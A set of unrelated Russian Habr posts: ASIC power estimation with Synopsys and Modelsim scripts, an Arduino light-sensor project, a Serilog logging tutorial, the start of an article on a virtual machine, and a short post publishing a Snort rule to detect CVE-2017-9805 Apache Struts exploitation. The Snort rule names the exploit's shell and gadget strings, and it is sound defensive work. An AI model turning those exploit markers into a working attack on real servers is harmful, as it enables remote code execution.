Моя статья иллюстрирует часто используемый метод измерения **power consumption** (потребления энергии) для отдельного **IP-блока** внутри микросхемы еще до того, как его можно будет измерить в изготовленном чипе. Такая оценка позволяет уже на раннем этапе:* сравнить разные варианты алгоритма цифровой обработки данных,
* выбрать оптимальный вариант реализации по критерию потребление/цифровые потери,
* довольно точно в числах оценить потребляемую мощность при работе в чипе, выпущенном по определенной технологии.
Предварительная оценка заранее покажет какие блоки будут потреблять больше всего энергии в активном режиме.
Этим методом с некоторыми допущениями можно довольно точно сравнить несколько реализаций алгоритма на **HDL** (языке описания цифровой схемы). В нашем случае это будет **Verilog**, который является наиболее популярным языком для разработки под **ASIC**.
#### Два допущения для ускорения процесса сравнения нескольких реализаций:
1. Я не буду проводит полный синтез **IP-блока** для получения итоговой послойной реализации (она включает все паразитные емкости, которые также сказываются на потреблении), а ограничусь так называемой идеальной **wire-load** моделью синтезированного **IP-блока**. \*Более точная оценка в абсолютных числа получается при синтезе в расширенном режиме **topographical** (с послойным синтезом), но при относительном сравнении этим можно пренебречь.
2. Не получится оценить и учитывать потребление **«клокового дерева»** после **wire-load** синтеза. Для его оценки надо делать полную разводку в кристалле. В синхронных схемах оно может давать в цифрах существенное потребление относительно потребления всего блока при работе. Но при сравнении разной реализации блока с примерно одинаковой площадью триггеров можно считать потребление **«клокового дерева»** также примерно одинаковым.
#### Что нам нужно для измерения потребления:
* Библиотека компонентов (Standard Cell Library) под целевую технологию (130/90/65nm; предоставляется производителем под **NDA**)
* Программа для синтеза **netlist** из **Verilog** в базисе выбранной библиотеки компонентов
* Программа для оценки потребления
* Программа для симуляции и логирования рабочего режима нашего **IP-блока** (мы хотим получить точную оценку потребления в рабочем режиме, а не статистическую оценку потребления блока)
В частности, я использовал **Synopsys DC (Design Compiler)** для синтеза и расчета потребления, а **Modelsim** для симуляции работы и логирования количества переключений сигналов в схеме. Подобные данные и результаты можно получить и с использованием программ других фирм.
Чтобы получить потребление надо знать сколько раз и какие элементы переключались в синтезированной схеме **IP-блока** из 1 в 0 и из 0 в 1 (в цифровой схеме элементы могут находиться только в этих двух состояниях). Можно, конечно, не получать точные данные что и сколько раз переключилось, а посчитать их на основе статистических данных (этот сигнал будем считать переключается только 10% всего времени), но тогда и оценка потребления будет статистическая. А нам нужно получить точные оценки для нескольких реализация, чтобы сравнить. Поэтому будем симулировать работу **IP-блока** с помощью **testbench** и логировать все переключения элементов в тестируемом блоке.
#### Процесс оценки по этапам покажем с помощью примера
В качестве примера для оценки будем использовать исходный код цифрового блока обработки данных с выхода **АЦП** (Аналого-цифрового преобразователя). Его задача — сделать цифровую обработку сигнала (**DSP/ЦОС**) с целью реализовать **Digital Down-shift Conversion** (цифровое преобразование частоты вниз) для последующей обработки. С помощью этого примера я последовательно проиллюстрирую шаги, которые позволяют получить результат потребления для любого **IP-блока** написанного на **Verilog/VHDL**. *\* Некоторые имена в примере изменены из-за невозможности выложить как есть исходный код упомянутого цифрового блока.*
###### Чтобы автоматизировать процесс тестирования разных реализаций **IP-блока** я написал скрипты, которые запускаются последовательно в 3 этапа:
1. Синтез **IP-блока** под целевую технологию (в нашем случае будем синтезировать для **TSMC 90nm**, Library: typical )
2. Запуск симуляция синтезированного описания (**netlist**)
3. Расчет потребления по собранным данным переключений из симуляции.
#### А теперь сам процесс измерения по шагам и полученный результат с комментариями
Для каждого этапа можно выделить команды в свой скрипт, как сделано для автоматизации процесса у меня, или запускать их подряд по командам.
**Скрипт run\_srs для первого этапа (Design Compiler):**saif\_map -start
read\_verilog ~/srs/ddc\_notch.v
read\_verilog ~/srs/ddc\_qnt3b.v
read\_verilog ~/srs/ddc\_intp.v
read\_verilog ~/srs/ddc\_qsr0.v
read\_verilog ~/srs/ddc\_qsr1.v
read\_verilog ~/srs/ddc\_lpf0.v
read\_verilog ~/srs/ddc\_qsr\_lpf1.v
read\_verilog ~/srs/ddc\_reg.v
read\_verilog ~/srs/ddc\_top.v
current\_design ddc\_top
create\_clock clk\_ddc -period 20
set\_clock\_uncertainty 0.15 [all\_clocks]
compile -gate\_clock
change\_names -rules verilog -hierarchy
write -format verilog -hierarchy -output ddc\_top.v
write -format ddc -hierarchy -output ddc\_top.ddc
report\_area -hierarchy > ./log/area\_ddc.rpt
exit
Включаем логирования соответствия имен для расчета потребления
```
saif_map -start
```
Компилируем исходники
```
read_verilog ~/srs/ddc_notch.v
read_verilog ~/srs/ddc_qnt3b.v
read_verilog ~/srs/ddc_intp.v
read_verilog ~/srs/ddc_qsr0.v
read_verilog ~/srs/ddc_qsr1.v
read_verilog ~/srs/ddc_lpf0.v
read_verilog ~/srs/ddc_qsr_lpf1.v
read_verilog ~/srs/ddc_reg.v
read_verilog ~/srs/ddc_top.v
current_design ddc_top
```
Нам достаточно указать только настройки (**constraints**) для клока. Хотя для сложных блоков таких настроек надо указать достаточно много, чтобы результат после синтеза соответствовал ожиданиям.
```
create_clock clk_ddc -period 38.46
set_clock_uncertainty 0.15 [all_clocks]
```
Компилируем только с параметром gate\_clock, что позволяет автоматически при синтезе вставить схему выключения клока (при не активности FF (флип-флопа/регистра) и соблюдении определенных правил описания регистров на **Verilog**). Это самый существенный метод снижения активного потребления схемы в **ASIC**)
```
compile -gate_clock
```
Записываем результаты синтеза для второго и третьего этапа
```
change_names -rules verilog -hierarchy
write -format verilog -hierarchy -output ddc_top.v
write -format ddc -hierarchy -output ddc_top.ddc
ddc_top.ddc — сохраняем результат синтеза, чтобы не компилировать заново на третьем этапе.
ddc_top.v — синтезированный Verilog netlist для симуляции
```
**Скрипт vsim.do для второго этапа (симулирование и логирование переключений в Modelsim)**vlib work
vmap work work
vlog -work work ~/work/tsmc090.v
vlog -work work ~/work/ddc\_top.v
vlog -work work ~/work/tb.v
vsim +notimingchecks -novopt work.tb +nowarn3017 +nowarn3722
run 90us
power add -r tb/ddc\_top/\*
run 200us
power report -all -bsaif saif.saif
exit
Создаем библиотеку, в которой будем компилировать и симулировать
```
vlib work
vmap work work
```
Компилируем синтезированный на первом этапе **netlist** (ddc\_top.v), библиотеку элементов **TSMC 90nm** для симуляции (tsmc090.v) и **tеstbench** (tb)
```
vlog -work work ~/work/tsmc090.v
vlog -work work ~/work/ddc_top.v
vlog -work work ~/work/tb.v
```
**Код Verilog для testbench (tb.v)**
```
`timescale 1ps/1ps
module tb;
reg clk_ddc;
reg rstz_ddc;
reg in_valid;
reg [2:0] in_i;
reg [2:0] in_q;
reg [2:0] i_temp;
reg [2:0] q_temp;
always @(posedge clk_ddc)
if (~rstz_ddc) i_temp <= 'd0;
else if (in_valid) i_temp <= $random % 8;
always @(posedge clk_ddc)
if (~rstz_ddc) q_temp <= 'd0;
else if (in_valid) q_temp <= $random % 8;
always @*
case (i_temp)
3'd0: in_i = 4'b001;
3'd1: in_i = 4'b001;
3'd2: in_i = 4'b010;
3'd3: in_i = 4'b011;
3'd4: in_i = 4'b100;
3'd5: in_i = 4'b101;
3'd6: in_i = 4'b110;
default:in_i= 4'b111;
endcase
always @*
case (q_temp)
3'd0: in_q = 4'b001;
3'd1: in_q = 4'b001;
3'd2: in_q = 4'b010;
3'd3: in_q = 4'b011;
3'd4: in_q = 4'b100;
3'd5: in_q = 4'b101;
3'd6: in_q = 4'b110;
default:in_q= 4'b111;
endcase
initial clk_ddc = 'd0;
always #19230 clk_ddc = ~clk_ddc; //26 Mhz
always @(posedge clk_ddc)
if (~rstz_ddc) in_valid <= 'd0;
else in_valid <= 'd1;
initial begin
rstz_ddc = 'd0;
#80000;
@(posedge clk_ddc);
rstz_ddc = 'd1;
@(posedge clk_ddc);
@(posedge clk_ddc);
#50000000; $display ($time);
#50000000; $display ($time);
#50000000; $display ($time);
#400000000;
end
ddc_top ddc_top (
.clk_ddc ( clk_ddc ),
.rstz_ddc ( rstz_ddc ),
// APB
.clk_apb ( 1'd0 ),
.reg_adr ( 10'd0 ),
.reg_we ( 1'd0 ),
.reg_wd ( 32'd0 ),
.reg_rd ( reg_rd ),
.ddc_qi ( {in_q,in_i} ),
.ddc_in_valid ( in_valid ),
.ddc_out_i ( ),
.ddc_out_q ( ),
.ddc_out_valid ( )
);
```
> Отмечу, что на вход мы подаем изначально рандомно-сгенерированные входные данные, а не данные с модели имитирующие реальный входной сигнал. Для нашего случая измерения потребления цифровой схемы для сигнала, находящегося «под шумами», будет эквивалентно. По-сути, фактический сигнал на входе представляет «белый шум» (равномерное распределение случайного генератора). Хотя, если быть точным, он является не идеально «белым» из-за ограничения полосы сигнала и влияния аналоговых входных усилителей, но это в целом не сказывается на результат симуляции и измерения потребления.
Запускаем симуляцию без оптимизации для точного логирования и без проверки временных соотношений из библиотеки **TSMC** ( также скроем определенные Warning библиотеки).
```
vsim +notimingchecks -novopt work.tb +nowarn3017 +nowarn3722
```
Пропускаем начальную инициализацию для чистоты сравнения
```
run 90us
```
И начинаем логирование всех сигналов в нашем блоке
```
power add -r tb/ddc_top/*
```
Собираем данные 200мкс в рабочем режиме
```
run 200us
```
И записываем собранные данные в формате **Switching Activity Interchange Format (SAIF)** в файл для использования на третьем этапе.
```
power report -all -bsaif saif.saif
```
**Пример части данных из файла saif**
```
(INSTANCE dff_20_reg_6_
NET
(flag (T0 0) (T1 200000000) (TX 0) (TC 0) (IG 0))
(n0 (T0 100534440) (T1 99465560) (TX 0) (TC 1324) (IG 0))
(clk (T0 150002000) (T1 49998000) (TX 0) (TC 5200) (IG 0))
(xRN (T0 0) (T1 200000000) (TX 0) (TC 0) (IG 0))
(xSN (T0 0) (T1 200000000) (TX 0) (TC 0) (IG 0))
```
Показывает сколько раз определенный внутренний сигнал нетлиста переключался за время теста
**Скрипт run для третьего этапа (измерение потребления блока на базе данных saif в Design Compiler)**read\_ddc ./ddc\_top.ddc
current\_design ddc\_top
read\_saif -input ./saif.saif -instance tb/ddc\_top
report\_power -hierarchy -levels 1 -analysis\_effort high > ./log/power\_ddc.rpt
report\_saif
Прочитываем ранее сохраненную базу данных для синтезированного netlist и подключаем полученный ранее saif
```
read_ddc ./ddc_top.ddc
current_design ddc_top
read_saif -input ./saif.saif -instance tb/ddc_top
```
Запускаем измерение power consumption и записываем в файл
```
report_power -hierarchy -levels 1 -analysis_effort high > ./log/power_ddc.rpt
```
Проверяем, что все внутренние сигналы у нас были правильно сопоставлены и учитаны в анализе потребления. И при этом не было сигналов, для которых не получилось найти статистику переключений в файле saif (такое выходит для 50% сигналов, если симулировать исходный Verilog, а не синтезированный netlist под целевую библиотеку).
```
report_saif
```
**Отчет этой команды для нашего примера**
```
--------------------------------------------------------------------------------
User Default Propagated
Object type Annotated (%) Activity (%) Activity (%) Total
--------------------------------------------------------------------------------
Nets 2029(100.00%) 0(0.00%) 0(0.00%) 2029
Ports 655(100.00%) 0(0.00%) 0(0.00%) 655
Pins 7492(100.00%) 0(0.00%) 0(0.00%) 7492
--------------------------------------------------------------------------------
```
А теперь можно все 3 скрипта запустить последовательно одной командой и посмотреть что получилось для нашего примера
```
dc_shell source ./run_srs ; vsim do ./vsim.do ; dc_shell source ./run
```
#### Вот такой итоговый отчет
```
Library(s) Used: typical (File: ~/lib/lib90nm/typical.db)
Power-specific unit information :
Voltage Units = 1V
Capacitance Units = 1.000000pf
Time Units = 1ns
Dynamic Power Units = 1mW (derived from V,C,T units)
Leakage Power Units = 1pW
--------------------------------------------------------------------------------
Switch Int Leak Total
Hierarchy Power Power Power Power %
--------------------------------------------------------------------------------
ddc_top 6.60e-02 0.315 1.10e+08 0.491 100.0
r313 (ddc_top_DW01_inc_0) 0.000 0.000 1.40e+05 1.40e-04 0.0
ddc_reg (ddc_reg) 0.000 1.27e-03 3.78e+06 5.06e-03 1.0
ddc_intp (ddc_intp) 8.41e-03 3.34e-02 5.75e+06 4.76e-02 9.7
ddc_qnt3b (ddc_qnt3b) 2.59e-03 9.17e-03 2.20e+06 1.40e-02 2.8
ddc_qsr_lpf1(ddc_qsr_lpf1) 2.44e-02 0.110 1.54e+07 0.150 30.4
ddc_notch3 (ddc_notch_1) 1.75e-03 8.81e-03 1.05e+07 2.11e-02 4.3
ddc_notch2 (ddc_notch_2) 1.69e-03 8.81e-03 1.05e+07 2.10e-02 4.3
ddc_notch1 (ddc_notch_3) 1.69e-03 8.81e-03 1.05e+07 2.10e-02 4.3
ddc_notch0 (ddc_notch_0) 2.16e-03 9.98e-03 1.05e+07 2.27e-02 4.6
ddc_qsr1 (ddc_qsr1) 1.46e-03 2.98e-03 4.32e+05 4.86e-03 1.0
ddc_lpf0_q (ddc_lpf0_1) 9.79e-03 5.75e-02 3.80e+06 7.11e-02 14.5
ddc_lpf0_i (ddc_lpf0_0) 1.06e-02 6.05e-02 3.90e+06 7.50e-02 15.3
ddc_qsr0 (ddc_qsr0) 1.33e-03 2.68e-03 2.34e+05 4.24e-03 0.9
```
Суммарное потребление складывается из трех составляющих:
1. **Cell Leakage power** — ток утечки. Статическая составляющая, которая зависит от технологии производства (90/65/28нм) и условий работы схемы (температура/напряжение). Рассчитанное значение пропорционально площади блока.
2. **Cell Internal power** — ток, возникающий при изменении состояния входов/выходов компонента библиотеки (**cell** — пример: логическое «или» ORX2, триггер DFF). Динамическая составляющая.
3. **Net Switching power** — ток, связанный с перезарядкой выходных емкостей компонента при переключении. Динамическая составляющая.
**В нашем примере мы получили результат, что при клоке в 26МГц наш блок цифровой обработки потребляет 491 мкА в активном режиме для 90нм**
В следующей статье можно провести анализ потребления этого же IP-блока при реализации его в FPGA. Для этого у каждого производителя **Altera/Xilinx/Microsemi** есть специализированные программы в рамках их САПР (Систем автоматизированного проектирования). В частности, у Altera эта часть называется **PowerPlay Power Analysis**, которая позволяет сильно автоматизировать описанный выше процесс для своих **FPGA**. Только вот общеизвестно, что возможность «запрограммировать» в **FPGA** любой IP-блок имеет явную негативную составляющую в виде значительно большего потребления. Отличие в потреблении может достигать нескольких десятков раз, если сравнивать реализацию одного и того же IP-блока в **ASIC 90nm** и в современной **FPGA**, сделанной по технологии **28nm**.
#### Полезные ссылки
* [Tutorial of Design Compiler](http://www.ee.ncu.edu.tw/~jfli/vlsi21/lecture/dc.pdf)
* [Design Compiler User Guide](http://cfile2.uf.tistory.com/attach/201C6E455040517229EF61)
* [ModelSim SE User's Manual](http://www.cc.gatech.edu/~hadi/teaching/cs3220/01-2014fa/doc/modelsim/ModelSim_Users_Manual_v10.1c.pdf)
* [Power Analysis using Synopsys flow](http://ee.sharif.edu/~vlsi/VLSI_SharifFlow.pptx)
* [PowerPlay Power Analysis](https://www.altera.com/support/support-resources/operation-and-testing/power/pow-powerplay.html) | https://habr.com/ru/post/264389/ | null | ru | null |
# Сигнатура Snort для уязвимости CVE-2017-9805 в Apache Struts
Друзья, добрый день!
7–8 сентября в СМИ и блогах стали появляться сообщения о взломе одного из крупнейших бюро кредитных историй Equifax. Представители американской компании сообщили, что «утекли» данные 143 миллионов человек: имена, адреса, номера социального страхования и в некоторых случаях номера кредитных карт. Те, кто знает, какое число сервисов в США работают с этими идентификаторами, могут предположить потенциальным масштаб будущих краж личности.
Сама утечка произошла в мае 2017, стало известно о ней только в конце июня. И более месяца факт утечки не предавался огласке. Из-за этого и из-за [странного поведения топ-менеджмента](http://www.vestifinance.ru/articles/90819) (они, возможно, слили свои доли в компании за несколько дней до обнародования проблем) акции Equifax сделали так:
5 сентября в блоге lgtm.com, поддерживаемом компанией Semmle Inc., появилась запись [Using QL to find a remote code execution vulnerability in Apache Struts](https://lgtm.com/blog/apache_struts_CVE-2017-9805). Уязвимость получила идентификатор CVE-2017-9805 и CVSS Score от 7,5 до 10. То есть всё очень серьёзно и проблемы могут быть у многих.
Поэтому, как и в прошлый раз с [WannaCry](http://amonitoring.ru/article/detail.php?ELEMENT_ID=178), мы выкладываем сигнатуру Snort для детектирования попытки эксплуатации этой уязвимости:
```
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"AM Exploit Apache Struts 2.5 - REST Plugin XStream Possible Remote Code Execution"; flow:to_server,established; content:"POST"; http_method; nocase; content:"/bin/sh"; nocase; content:"java.lang"; nocase; content:""; nocase; content:"0"; content:"InputStream"; nocase; content:"jdk.nashorn.internal.objects.NativeString"; nocase; content:"ProcessBuilder"; nocase; content:"javax.imageio.ImageIO"; nocase; content:"/struts2-rest-showcase/"; http\_uri; reference:cve,2017-9805; reference:url,lgtm.com/blog/apache\_struts\_CVE-2017-9805; reference:url,exploit-db.com/exploits/42627/; classtype:client-side-exploit; sid:5300590; rev:1)
```
**Что ещё почитать для анализа ситуации:**
* [Уязвимость в Apache Struts позволяет удаленно выполнить код.](http://www.securitylab.ru/news/488250.php)
* [Утечка данных 143 млн клиентов Equifax могла произойти из-за уязвимости в Apache Struts.](http://www.securitylab.ru/news/488372.php)
* [Неизвестные взломали бюро кредитных историй Equifax и похитили данные 143 млн человек.](https://xakep.ru/2017/09/08/equifax-hack/)
* [Бюро кредитных историй Equifax могли взломать через баг в Apache Struts.](https://xakep.ru/2017/09/11/equifax-aftermath/) | https://habr.com/ru/post/337734/ | null | ru | null |
# Обзор онлайн-курса по Arduino/робототехнике от МФТИ (вторая неделя)
*Мы продолжаем публикацию обзора онлайн-курса "Строим роботов и другие устройства на Arduino", начало [здесь](https://geektimes.ru/company/makeitlab/blog/287408/).*
Итак, долго ли коротко, закончилась вторая неделя [онлайн-курса робототехники от МФТИ](https://www.coursera.org/learn/roboty-arduino/home/welcome). Признаться, неделя оказалась очень насыщенная всевозможными темами.
Вот примерный перечень, который я выделил для себя:
* Делитель напряжения. Использование фоторезистора и термистора
* Аналоговый сигнал. Разрядность сигнала
* Обмен данными через последовательный порт. Среда Processing
* Цифровой сигнал. Кнопки и варианты подключения. Подтягивающий резистор
* Логические выражения, операторы if и else
* Зуммер, светодиодная шкала, семисегментный индикатор
* Микросхемы. Логический инвертор 74HC04, сдвиговый регистр 74HC595
* Отладка программ
* Внешние модули
* Вариант готовой системы мониторинга, отображающей температуру и уровень освещенности на светодиодной шкале, а также динамиком, срабатывающим при превышении определенной температуры
Успешно пройдя тест и собрав предложенные схемы из уроков, задумался, как можно улучшить ту или иную схему или собрать что-нибудь свое.
Первое что пришло на ум — модернизация датчика освещенности. Реализация, предложенная в уроке, просто снимала значение с фоторезистора и посылала его в последовательный порт.
Модернизированная версия должна использовать семисегментный индикатор для вывода чисел от 0 (минимальная освещенность) до 9 (максимальная освещенность). Индикатор должен быть подключен через сдвиговый регистр. С помощью двух кнопок должна осуществляться установка минимального и максимального уровня освещенности. Сдвиговый регистр нужен для того, чтобы не задействовать по пину Arduino на каждый сегмент, а вместо этого обойтись меньшим числом пинов. По сути, сдвиговый регистр преобразует последовательный вывод данных (по одному биту за единицу времени) в параллельный (несколько бит за единицу времени). В нашем случае вместо семи пинов Arduino нам понадобится лишь три.
В редакторе Fritzing у меня получилось такое устройство.
Таким образом оно выглядит вживую.
За основу были взяты схемы работы со сдвиговым регистром и фоторезистором.
Обратим внимание, что на плате фоторезистор подключен несколько иначе, чем в видеоуроке — там мы снимали значение напряжения на фоторезисторе относительно земли, а в схеме снимаем падение напряжения относительно питания. Так сделано, чтобы немного упростить программу — с увеличением уровня освещенности сопротивление фоторезистора падает. Следовательно, при том же токе уменьшается падение напряжения. Поэтому на аналоговом входе будет тем выше напряжение, чем выше уровень освещенности, и наоборот.
Теперь дело за малым — доработать исходный код. За основу была взята все та же программа для вывода значения на семисегментный индикатор.
**Код программы**
```
// Пины, необходимые для работы сдвигового регистра
#define DATA_PIN 13
#define LATCH_PIN 12
#define CLOCK_PIN 11
// Пины кнопок, отвечающих за установку минимального и максимального значения
#define BTN_MIN 3
#define BTN_MAX 2
// Пин, с которого будем снимать значения фоторезистора
#define SENS_PIN A5
// Значения выводов регистра для индикатора, соответствующие цифрам
byte d0 = 0b01111101;
byte d1 = 0b00100100;
byte d2 = 0b01111010;
byte d3 = 0b01110110;
byte d4 = 0b00100111;
byte d5 = 0b01010111;
byte d6 = 0b01011111;
byte d7 = 0b01100100;
byte d8 = 0b01111111;
byte d9 = 0b01110111;
// Предопределенные значения минимального и максимального уровня освещенности
int min_light = 0;
int max_light = 1023;
// Текущее значение датчика
int value;
// Значение, ограниченное мин. и макс. уровнем
int output;
// Выводимая цифра
int digit;
void setup()
{
// Установка пинов сдвигового регистра
pinMode(DATA_PIN, OUTPUT);
pinMode(CLOCK_PIN, OUTPUT);
pinMode(LATCH_PIN, OUTPUT);
// Включаем порт для вывода отладочной информации
Serial.begin(9600);
// Установка пинов для кнопок
pinMode(BTN_MIN, INPUT_PULLUP);
pinMode(BTN_MAX, INPUT_PULLUP);
}
void loop()
{
// Получаем значение с фоторезистора
value = analogRead(SENS_PIN);
output = value;
// Если нажаты кнопки - устанавливаем пороговые значения
if (!digitalRead(BTN_MIN)) min_light = value;
if (!digitalRead(BTN_MAX)) max_light = value - 10;
// Применяем ограничения сверху и снизу
if (value < min_light) output = min_light;
if (value > max_light) output = max_light;
// Получаем цифру, которую должны вывести на индикатор
digit = map(value, min_light, max_light, 0, 9);
// Отладочная информация
Serial.println("Value: " + String(value) + " Output: " + String(output) + " Min: " + String(min_light) + " Max: " + String(max_light) + " Current : " + String(value) + " Digit: " + String(digit));
// Непосредственный вывод цифры на индикатор
if (digit == 0)
{
digitalWrite(LATCH_PIN, LOW);
shiftOut(DATA_PIN, CLOCK_PIN, LSBFIRST, d0);
digitalWrite(LATCH_PIN, HIGH);
}
else if (digit == 1)
{
digitalWrite(LATCH_PIN, LOW);
shiftOut(DATA_PIN, CLOCK_PIN, LSBFIRST, d1);
digitalWrite(LATCH_PIN, HIGH);
}
else if (digit == 2)
{
digitalWrite(LATCH_PIN, LOW);
shiftOut(DATA_PIN, CLOCK_PIN, LSBFIRST, d2);
digitalWrite(LATCH_PIN, HIGH);
}
else if (digit == 3)
{
digitalWrite(LATCH_PIN, LOW);
shiftOut(DATA_PIN, CLOCK_PIN, LSBFIRST, d3);
digitalWrite(LATCH_PIN, HIGH);
}
else if (digit == 4)
{
digitalWrite(LATCH_PIN, LOW);
shiftOut(DATA_PIN, CLOCK_PIN, LSBFIRST, d4);
digitalWrite(LATCH_PIN, HIGH);
}
else if (digit == 5)
{
digitalWrite(LATCH_PIN, LOW);
shiftOut(DATA_PIN, CLOCK_PIN, LSBFIRST, d5);
digitalWrite(LATCH_PIN, HIGH);
}
else if (digit == 6)
{
digitalWrite(LATCH_PIN, LOW);
shiftOut(DATA_PIN, CLOCK_PIN, LSBFIRST, d6);
digitalWrite(LATCH_PIN, HIGH);
}
else if (digit == 7)
{
digitalWrite(LATCH_PIN, LOW);
shiftOut(DATA_PIN, CLOCK_PIN, LSBFIRST, d7);
digitalWrite(LATCH_PIN, HIGH);
}
else if (digit == 8)
{
digitalWrite(LATCH_PIN, LOW);
shiftOut(DATA_PIN, CLOCK_PIN, LSBFIRST, d8);
digitalWrite(LATCH_PIN, HIGH);
}
else if (digit == 9)
{
digitalWrite(LATCH_PIN, LOW);
shiftOut(DATA_PIN, CLOCK_PIN, LSBFIRST, d9);
digitalWrite(LATCH_PIN, HIGH);
}
// Задержка для более плавного вывода значения
delay(10);
}
```
Из особенностей — при установке максимального уровня освещенности пришлось вычитать некоторую константу (max\_light = value — 10), подобранную эмпирическим путем. Это необходимо для того, чтобы избежать “дребезжания” при максимальном уровне освещенности, т. к. значение напряжения, снятого с фоторезисторе нестабильно.
Компилируем скетч, загружаем в Arduino и проверяем.
Сначала в мониторе порта...
А затем вживую
Как видим, устройство успешно работает в том виде, как его описывали. Конечно, еще есть куда его улучшать — например, можно добавить звуковой сигнал, когда освещение падает ниже определенного уровня — это будет означать, что нужно включить дополнительное освещение на рабочем месте. Также в будущем можно будет изменить саму программу, используя массивы и дополнительные функции.
В заключение еще раз повторю, что неделя получилась очень насыщенная на различные темы. Отметим, что с момента публикации курса в Arduino IDE появилась встроенная функция Serial Plotter, которая частично перекрывает рассматриваемые в уроках функции среды Processing. Также в конце недели авторы пришли к идее модульности, когда конечное устройство собирается из готовых элементов — модулей, например, кнопки с уже встроенным подтягивающим резистором, готового датчика света, где фоторезистор и обычный резистор уже собраны в делитель напряжения, и тому подобных. Однако, устройство можно без труда собрать на макетной плате, что и было сделано. Вопрос читателям, приходилось ли вам самостоятельно изготавливать корпус для ваших устройств? Какие материалы вы для этого использовали? Может быть, картон, фанеру, оргстекло или, что не редкость сегодня, печатали на 3D-принтере? | https://habr.com/ru/post/403029/ | null | ru | null |
# Структурное логирование в .NET на примере Serilog
Все мы знаем, что логирование - вещь очень полезная для современного проекта. С помощью него можно быстро локализовать и устранить ошибку в продукте, восстановить кейс, который к ней привёл, посмотреть историю действий пользователя.
Существует несколько видов логирования, такие как:
1. **Классическое** - когда весь лог это набор строк, в котором порой сложно разобраться и что-то в нём проанализировать.
```
_logger.LogInformation($"The magic number is {number}");
```
2. **Структурное** - когда на одно событие будет создаваться две записи лога, одна запись это шаблон вывода сообщения, вторая запись - объект, который будет подставлен в шаблон.
```
_logger.LogInformation("The magic number is {number}", number);
```
Структурное логирование открывает возможности хранить и анализировать события в различного рода хранилищах, таких как NoSql, Sql базах данных. Для .NET существует множество сторонних библиотек для такого логирования, например Serilog или NLog.
Давайте рассмотрим, как воспользоваться одной из этих библиотек и начать вести лог правильно😊
Классическое логирование
------------------------
1. Создадим новый проект по шаблону *ASP.NET Core Web API*. По умолчанию после создания мы будем иметь такую структуру решения:
Структура решения StructureLogging2. Изменим метод *Get* контроллера *WeatherForecast*, заменив его на следующий код:
```
public IEnumerable Get(string city, int day)
{
\_logger.LogInformation($"Requested weather for city {city} on {day} day");
return Enumerable.Range(1, 5).Select(index => new WeatherForecast
{
Date = DateTime.Now.AddDays(index),
TemperatureC = Random.Shared.Next(-20, 55),
Summary = Summaries[Random.Shared.Next(Summaries.Length)]
})
.ToArray();
}
```
3. Запустим приложение и выполним GET запрос к *http://localhost:7005/weatherforecast?city=Moscow&day=1* и посмотрим результат выполнения в консоли:
Результат логированияВидно, что запись события это просто строка, и куда бы она ни попала (файл, СУБД, журнал событий) - она так и останется строкой, из которой что-то значимое для анализа можно будет вытащить только с помощью регулярных выражений, как пример. Такой вариант мало кого устраивает и на помощь приходит **структурное** **логирование**.
Структурное логирование
-----------------------
Теперь изменим немного проект, который создали выше. Для его модификации будем использовать библиотеку Serilog.
1. Установим NuGet-пакеты [Serilog](https://www.nuget.org/packages/Serilog/), [Serilog.Sinks.Console](https://www.nuget.org/packages/Serilog.Sinks.Console/) и [Serilog.Extensions.Hosting](https://www.nuget.org/packages/Serilog.Extensions.Hosting).
2. В файле Program.cs добавим настройку и добавление Serilog в качестве логгера:
```
using Microsoft.AspNetCore.Builder;
using Microsoft.Extensions.DependencyInjection;
using Microsoft.Extensions.Hosting;
using Microsoft.Extensions.Logging;
using Serilog;
var builder = WebApplication.CreateBuilder(args);
/*
.....................................
*/
Log.Logger = new LoggerConfiguration()
.Enrich.FromLogContext()
.WriteTo.Console()
.CreateLogger();
builder.Host.ConfigureLogging(logging =>
{
logging.AddSerilog();
logging.SetMinimumLevel(LogLevel.Information);
})
.UseSerilog();
/*
.....................................
*/
```
3. В методе Get контроллера WeatherForecast изменим запись в лог:
```
_logger.LogInformation("Requested weather for city {City} on {Day} day", city, day);
```
*Мы убрали интерполяцию строки и теперь значения city и day по порядку будут подставляться вместо якорей {City} и {Day} в шаблоне.*
4. Снова запустим приложение и выполним GET запрос к *http://localhost:7005/weatherforecast?city=Moscow&day=1* и посмотрим результат выполнения в консоли:
Результат логированияВидно, что наши значения, передаваемые в логгер окрасились в разные цвета. Всё потому, что они больше не считаются простой строкой, а являются объектами, подставляемыми в шаблон.
Также можно передавать и более сложные объекты, например пользовательские типы данных.
Единственное, что **нужно помнить для сложных объектов** - при указании якоря впереди ставится *@* *{@Weather}* для обозначения Serilog'у, что объект пользовательский, либо в пользовательском объекте нужно переопределить метод *ToString*, дополнив его собственной реализацией.
Снова изменим код метода *Get* контроллера *WeatherForecast*:
```
public IEnumerable Get(string city, int day)
{
var result = Enumerable.Range(1, 5).Select(index => new WeatherForecast
{
Date = DateTime.Now.AddDays(index),
TemperatureC = Random.Shared.Next(-20, 55),
Summary = Summaries[Random.Shared.Next(Summaries.Length)]
})
.ToArray();
\_logger.LogInformation("Requested weather for city {City} on {Day} day. The weather is {@Weather}", city, day, result.First());
return result;
}
```
Затем запустим приложение и выполним GET запрос к *http://localhost:7005/weatherforecast?city=Moscow&day=1* и посмотрим результат выполнения в консоли:
Результат логированияСложный объект "разложился" по своим свойствам и в будущем готов для анализа логов(если мы сейчас говорим о чём-то более сложном, чем консоль).
В следующий раз мы разберемся, как воспользоваться структурным логированием в связке с *ElasticSearch* и увидим, как оно позволяет анализировать логи нашего приложения.
Вывод
-----
У структурного логирования есть плюсы, такие как возможность отделять данные от события, с последующим анализом, простота настройки и использования. | https://habr.com/ru/post/712384/ | null | ru | null |
# Учим поросёнка на моноидах верить в себя и летать
В [одной](https://habr.com/post/429530/) из предыдущих статей я рассказывал о том, как можно построить исполнитель программ для виртуальной стековой машины, используя подходы функционального и языково-ориентированного программирования. Математическая структура языка подсказала базовую структуру для реализации его транслятора, основанную на концепции полугрупп и моноидов. Этот подход позволил построить красивую и расширяемую реализацию и сорвать аплодисмент, но первый же вопрос из зала заставил меня слезть с трибуны и снова залезть в Emacs.
Я провёл простое тестирование и убедился в том, что на простых задачах, использующих только стек, виртуальная машина работает шустро, а при использовании "памяти" — массива со случайным доступом — начинаются большие проблемы. О том, как удалось их решить, не меняя базовых принципов архитектуры программы и достичь тысячекратного ускорения работы программы, и пойдёт речь в предлагаемой вашему вниманию статье.
